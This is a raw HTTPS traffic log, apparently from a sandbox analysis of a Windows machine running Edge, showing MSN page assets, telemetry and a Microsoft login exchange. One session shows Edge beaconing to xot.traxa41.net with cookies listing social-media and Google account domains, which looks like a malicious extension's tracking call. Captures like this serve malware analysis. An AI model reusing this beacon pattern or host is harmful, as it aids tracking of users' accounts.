2024-04-23 21:02:29 UTC	15230	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 61 73 2d 68 69 67 68 6c 69 67 68 74 2d 76 33 76 34 22 5d 2c 7b 34 35 39 36 30 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6f 2e 64 28 65 2c 7b 51 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 7d 7d 29 3b 63 6f 6e 73 74 20 69 3d 7b 54 65 6e 6f 72 69 74 65 3a 22 68 74 74 70 73 3a 2f 2f 61 73 73 65 74 73 2e 6d 73 6e 2e 63 6f 6d 2f 73 74 61 74 69 63 73 62 2f 73 74 61 74 69 63 73 2f 6c 61 74 65 73 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["nas-highlight-v3v4"],{45960:function(t,e,o){o.d(e,{Q:function(){return r}});const i={Tenorite:"https://assets.msn.com/staticsb/statics/lates
2024-04-23 21:02:29 UTC	9346	IN	Data Raw: 4d 29 28 7b 6e 61 6d 65 3a 22 64 65 63 6f 72 61 74 69 6f 6e 2d 70 72 69 63 65 2d 73 74 72 69 6b 65 2d 74 68 72 6f 75 67 68 22 2c 74 65 6d 70 6c 61 74 65 3a 6c 7d 29 5d 2c 66 29 2c 6e 2e 4c 3b 63 6f 6e 73 74 20 6d 3d 72 2e 64 79 60 3c 70 75 72 65 2d 74 65 78 74 20 63 6f 6e 74 65 6e 74 3d 22 24 7b 74 3d 3e 74 2e 64 61 74 61 7d 22 20 6c 69 67 68 74 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3d 24 7b 74 3d 3e 28 30 2c 61 2e 64 65 29 28 74 2e 69 73 49 6e 66 6f 50 61 6e 65 29 7d 20 64 61 72 6b 2d 74 68 65 6d 65 2d 63 6f 6c 6f 72 3d 24 7b 74 3d 3e 28 30 2c 61 2e 6f 41 29 28 74 2e 69 73 49 6e 66 6f 50 61 6e 65 29 7d 20 2f 3e 60 3b 6c 65 74 20 79 3d 63 6c 61 73 73 20 65 78 74 65 6e 64 73 20 70 2e 67 7b 7d 3b 79 3d 28 30 2c 69 2e 67 6e 29 28 5b 28 30 2c 67 2e 4d 29 28 7b Data Ascii: M)({name:"decoration-price-strike-through",template:l})],f),n.L;const m=r.dy`<pure-text content="${t=>t.data}" light-theme-color=${t=>(0,a.de)(t.isInfoPane)} dark-theme-color=${t=>(0,a.oA)(t.isInfoPane)} />`;let y=class extends p.g{};y=(0,i.gn)([(0,g.M)({
2024-04-23 21:02:29 UTC	16384	IN	Data Raw: 39 39 39 20 31 2e 30 35 38 33 31 5a 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 75 72 6c 28 23 70 61 69 6e 74 30 5f 6c 69 6e 65 61 72 29 22 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 20 20 20 20 3c 6d 61 73 6b 20 69 64 3d 22 6d 61 73 6b 30 22 20 6d 61 73 6b 2d 74 79 70 65 3d 22 61 6c 70 68 61 22 20 6d 61 73 6b 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 78 3d 22 30 22 20 79 3d 22 30 22 20 77 69 64 74 68 3d 22 36 22 20 68 65 69 67 68 74 3d 22 31 32 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 72 65 63 74 20 77 69 64 74 68 3d 22 36 22 20 68 65 69 67 68 74 3d 22 31 32 22 20 66 69 6c 6c 3d 22 23 43 34 43 34 43 34 22 3e 3c 2f 72 65 63 74 3e 0a 20 20 20 20 20 20 20 20 3c 2f 6d 61 73 6b 3e 0a 20 20 20 20 20 20 20 20 3c 67 Data Ascii: 999 1.05831Z" fill="url(#paint0_linear)"></path> <mask id="mask0" mask-type="alpha" maskUnits="userSpaceOnUse" x="0" y="0" width="6" height="12"> <rect width="6" height="12" fill="#C4C4C4"></rect> </mask> <g
2024-04-23 21:02:29 UTC	4166	IN	Data Raw: 28 30 2c 69 2e 67 6e 29 28 5b 28 30 2c 72 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 74 65 3a 22 66 6f 6e 74 2d 73 69 7a 65 22 7d 29 5d 2c 70 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 6f 6e 74 53 69 7a 65 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 69 2e 67 6e 29 28 5b 28 30 2c 72 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 74 65 3a 22 66 6f 6e 74 2d 77 65 69 67 68 74 22 7d 29 5d 2c 70 2e 70 72 6f 74 6f 74 79 70 65 2c 22 66 6f 6e 74 57 65 69 67 68 74 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 69 2e 67 6e 29 28 5b 28 30 2c 72 2e 4c 6a 29 28 7b 61 74 74 72 69 62 75 74 65 3a 22 74 65 78 74 2d 63 6f 6c 6f 72 22 7d 29 5d 2c 70 2e 70 72 6f 74 6f 74 79 70 65 2c 22 74 65 78 74 43 6f 6c 6f 72 22 2c 76 6f 69 64 20 30 29 2c 28 30 2c 69 2e 67 6e 29 28 5b 28 30 2c 72 2e 4c 6a 29 28 7b 61 Data Ascii: (0,i.gn)([(0,r.Lj)({attribute:"font-size"})],p.prototype,"fontSize",void 0),(0,i.gn)([(0,r.Lj)({attribute:"font-weight"})],p.prototype,"fontWeight",void 0),(0,i.gn)([(0,r.Lj)({attribute:"text-color"})],p.prototype,"textColor",void 0),(0,i.gn)([(0,r.Lj)({a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49937	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	1047	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906147886&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4021 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=09C025F5A71D6FE2180F319FA60A6E8D; _EDGE_S=F=1&SID=14B0D2560B6E6C25271CC63C0A196DE9; _EDGE_V=1; _SS=SID=00; _C_ETH=1
2024-04-23 21:02:29 UTC	4021	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 4c 6f 61 64 54 69 6d 65 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 30 34 2d 32 33 54 32 31 3a 30 32 3a 32 37 2e 38 38 35 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 36 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 66 30 33 61 63 66 62 62 2d 32 63 36 30 2d 34 39 63 61 2d 38 61 64 35 2d 36 35 31 62 30 33 36 61 62 35 30 61 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 31 34 30 38 36 31 35 32 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.LoadTime","time":"2024-04-23T21:02:27.885Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":6,"installId":"f03acfbb-2c60-49ca-8ad5-651b036ab50a","epoch":"2314086152"},"app":{"locale
2024-04-23 21:02:29 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=1c9401054b3d4fb89d0bda73184c3b3c&HASH=1c94&LV=202404&V=4&LU=1713906149663; Domain=.microsoft.com; Expires=Wed, 23 Apr 2025 21:02:29 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=89a2988826de4955b40aef1bfe21d3ab; Domain=.microsoft.com; Expires=Tue, 23 Apr 2024 21:32:29 GMT; Path=/;Secure; SameSite=None time-delta-millis: 1777 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Tue, 23 Apr 2024 21:02:29 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.4	49942	40.126.29.9	443

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:29 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-04-23 21:02:29 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-04-23 21:02:30 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Tue, 23 Apr 2024 21:01:30 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C502_SN1 x-ms-request-id: 1239ee2e-9a7a-45ac-93e9-fdf2e5a7ef9b PPServer: PPV: 30 H: SN1PEPF0002F9FB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Tue, 23 Apr 2024 21:02:29 GMT Connection: close Content-Length: 11392
2024-04-23 21:02:30 UTC	11392	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49943	23.106.238.238	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	609	OUT	GET /ext/antlog?1=1&from=Chrome3 HTTP/1.1 Host: xot.traxa41.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: gxid=6628213c59b94; installed=true; clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; safe-installed-internal=true
2024-04-23 21:02:30 UTC	1072	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 23 Apr 2024 20:59:44 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Expose-Headers: Penblock Block: 2 Kenblock: enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Penblock: 2-enhjdmJubWFzZGZnaGprbHF3ZXJ0eXVpb3BaWENWQk5NQVNERkdISktMUVdFUlRZVUlPUDAxMjM0NTY3ODkrLz0= Expires: Sat, 01 Jan 2000 00:00:00 GMT Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Pragma: no-cache Cache-Control: no-cache, no-store, must-revalidate Access-Control-Allow-Methods: POST, GET, OPTIONS, DELETE Set-Cookie: installed=true; expires=Wed, 23-Apr-2025 20:59:44 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Set-Cookie: clog=.facebook.com-.twitter.com-.instagram.com-www.google.com-accounts.google.com-ogs.google.com-.google.com-www.youtube.com-.youtube.com; expires=Wed, 23-Apr-2025 20:59:44 GMT; Max-Age=31536000; path=/; domain=.traxa41.net; secure; SameSite=None Img-Error: undefined
2024-04-23 21:02:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49945	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	506	OUT	GET /bundles/v1/edgeChromium/latest/nativeadstemplates.3d1fd5b812e57319e143.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:30 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: 1R30Gk0T0s7XwNpGpnTl3Q== Last-Modified: Fri, 19 Apr 2024 19:35:50 GMT ETag: 0x8DC60A7EB2B23A7 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 00822a9e-a01e-0051-66ad-94228f000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:30 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402750543,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 18017c4f Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906150.18017c4f Vary: Origin
2024-04-23 21:02:30 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6e 61 74 69 76 65 61 64 73 74 65 6d 70 6c 61 74 65 73 22 5d 2c 7b 36 36 38 34 34 3a 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 6f 29 7b 6f 2e 72 28 65 29 2c 6f 2e 64 28 65 2c 7b 4d 73 6e 41 64 43 61 72 6f 75 73 65 6c 43 61 72 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 48 7d 7d 29 3b 76 61 72 20 69 2c 61 3d 6f 28 33 33 39 34 30 29 2c 6e 3d 6f 28 32 38 39 30 34 29 2c 73 3d 6f Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["nativeadstemplates"],{66844:function(t,e,o){o.r(e),o.d(e,{MsnAdCarouselCard:function(){return H}});var i,a=o(33940),n=o(28904),s=o
2024-04-23 21:02:30 UTC	9395	IN	Data Raw: 78 74 43 6c 69 63 6b 28 29 7d 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 72 6f 6c 2d 62 67 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 6f 6e 74 72 6f 6c 2d 69 63 6f 6e 22 3e 24 7b 75 2e 64 79 2e 70 61 72 74 69 61 6c 28 27 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 30 34 38 20 32 30 34 38 22 3e 5c 6e 3c 70 61 74 68 20 64 3d 22 4d 35 31 35 20 31 39 35 35 6c 39 33 30 2d 39 33 31 4c 35 31 35 20 39 33 6c 39 30 2d 39 30 20 31 30 32 32 20 31 30 32 31 4c 36 30 35 20 32 30 34 35 6c 2d 39 30 2d 39 30 7a 22 20 2f 3e 5c 6e 3c 2f 73 76 67 3e 5c 6e 27 29 7d 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 60 29 7d 3c 2f 64 69 76 3e 3c Data Ascii: xtClick()}"><div class="control-bg"></div><div class="control-icon">${u.dy.partial('<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 2048 2048">\n<path d="M515 1955l930-931L515 93l90-90 1022 1021L605 2045l-90-90z" />\n</svg>\n')}</div></div>`)}</div><
2024-04-23 21:02:30 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 67 72 61 64 69 65 6e 74 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 74 6f 20 6c 65 66 74 20 74 6f 70 2c 72 67 62 61 28 31 38 30 2c 31 38 30 2c 31 38 30 2c 30 29 20 33 2e 39 39 25 2c 72 67 62 61 28 31 38 30 2c 31 38 30 2c 31 38 30 2c 30 2e 30 35 29 20 35 37 2e 38 25 2c 72 67 62 61 28 31 38 30 2c 31 38 30 2c 31 38 30 2c 30 2e 31 35 29 20 37 35 2e 33 35 25 2c 72 67 62 61 28 31 38 30 2c 31 38 30 2c 31 38 30 2c 30 2e 33 29 20 31 30 30 25 29 3b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 35 30 70 78 3b 7a 2d 69 6e 64 65 78 3a 31 7d 2e 72 69 76 65 72 20 2e 62 61 64 67 65 2d 69 63 6f 6e 20 Data Ascii: 00006000ge-background-gradient{position:absolute;background:linear-gradient(to left top,rgba(180,180,180,0) 3.99%,rgba(180,180,180,0.05) 57.8%,rgba(180,180,180,0.15) 75.35%,rgba(180,180,180,0.3) 100%);width:100%;height:50px;z-index:1}.river .badge-icon
2024-04-23 21:02:30 UTC	8204	IN	Data Raw: 20 66 69 6c 6c 3d 22 77 68 69 74 65 22 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 30 2e 38 22 2f 3e 3c 2f 67 3e 3c 64 65 66 73 3e 3c 66 69 6c 74 65 72 20 69 64 3d 22 66 69 6c 74 65 72 30 5f 64 64 22 20 78 3d 22 30 2e 38 31 33 32 33 36 22 20 79 3d 22 30 2e 30 39 33 32 39 30 38 22 20 77 69 64 74 68 3d 22 34 32 2e 36 32 33 35 22 20 68 65 69 67 68 74 3d 22 34 31 2e 36 32 33 35 22 20 66 69 6c 74 65 72 55 6e 69 74 73 3d 22 75 73 65 72 53 70 61 63 65 4f 6e 55 73 65 22 20 63 6f 6c 6f 72 2d 69 6e 74 65 72 70 6f 6c 61 74 69 6f 6e 2d 66 69 6c 74 65 72 73 3d 22 73 52 47 42 22 3e 3c 66 65 46 6c 6f 6f 64 20 66 6c 6f 6f 64 2d 6f 70 61 63 69 74 79 3d 22 30 22 20 72 65 73 75 6c 74 3d 22 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 46 69 78 22 2f 3e 3c 66 65 43 6f 6c 6f Data Ascii: fill="white" fill-opacity="0.8"/></g><defs><filter id="filter0_dd" x="0.813236" y="0.0932908" width="42.6235" height="41.6235" filterUnits="userSpaceOnUse" color-interpolation-filters="sRGB"><feFlood flood-opacity="0" result="BackgroundImageFix"/><feColo
2024-04-23 21:02:30 UTC	16384	IN	Data Raw: 30 30 30 30 34 30 30 30 0d 0a 61 63 74 69 6f 6e 73 22 3e 3c 2f 73 6c 6f 74 3e 3c 2f 64 69 76 3e 60 2c 4f 3d 28 29 3d 3e 42 2e 64 79 60 3c 64 69 76 20 73 6c 6f 74 3d 22 69 6d 61 67 65 2d 77 69 74 68 2d 62 61 64 67 65 22 3e 3c 69 6d 67 20 6e 61 6d 65 3d 22 62 6c 75 72 2d 69 6d 61 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 22 20 24 7b 28 30 2c 48 2e 69 29 28 22 62 61 63 6b 67 72 6f 75 6e 64 42 6c 75 72 49 6d 61 67 65 43 6f 6e 74 61 69 6e 65 72 22 29 7d 20 73 72 63 3d 22 24 7b 74 3d 3e 74 2e 69 6d 61 67 65 73 5b 30 5d 26 26 74 2e 69 6d 61 67 65 73 5b 30 5d 2e 73 6f 75 72 63 65 7d 22 20 61 6c 74 3d 22 24 7b 74 3d 3e 74 2e 69 6d 61 67 65 73 5b 30 5d 26 26 74 2e 69 6d 61 67 65 73 5b 30 5d 2e 61 6c 74 54 65 78 74 7d 22 20 77 69 64 74 68 3d 22 24 7b 74 3d 3e 74 2e 69 Data Ascii: 00004000actions"></slot></div>`,O=()=>B.dy`<div slot="image-with-badge"><img name="blur-image-background" ${(0,H.i)("backgroundBlurImageContainer")} src="${t=>t.images[0]&&t.images[0].source}" alt="${t=>t.images[0]&&t.images[0].altText}" width="${t=>t.i
2024-04-23 21:02:30 UTC	12	IN	Data Raw: 6e 27 5d 22 29 7d 29 7d 3e 3c 0d 0a Data Ascii: n']")})}><
2024-04-23 21:02:30 UTC	1863	IN	Data Raw: 30 30 30 30 30 37 33 42 0d 0a 73 70 61 6e 20 70 61 72 74 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 22 20 24 7b 28 30 2c 7a 2e 69 29 28 22 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 43 6f 6e 74 61 69 6e 65 72 22 29 7d 3e 3c 73 6c 6f 74 20 6e 61 6d 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 22 20 24 7b 28 30 2c 7a 2e 69 29 28 22 62 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 22 29 7d 20 40 73 6c 6f 74 63 68 61 6e 67 65 3d 24 7b 74 3d 3e 74 2e 68 61 6e 64 6c 65 42 61 63 6b 67 72 6f 75 6e 64 49 6d 61 67 65 43 6f 6e 74 65 6e 74 43 68 61 6e 67 65 28 29 7d 3e 3c 2f 73 6c 6f 74 3e 3c 2f 73 70 61 6e 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 61 73 6b 22 20 70 61 72 74 3d 22 6d 61 73 6b 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 Data Ascii: 0000073Bspan part="background-image" ${(0,z.i)("backgroundImageContainer")}><slot name="background-image" ${(0,z.i)("backgroundImage")} @slotchange=${t=>t.handleBackgroundImageContentChange()}></slot></span><div class="mask" part="mask"></div><div class
2024-04-23 21:02:30 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49944	104.208.16.92	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:30 UTC	1047	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1713906148544&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 4257 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: 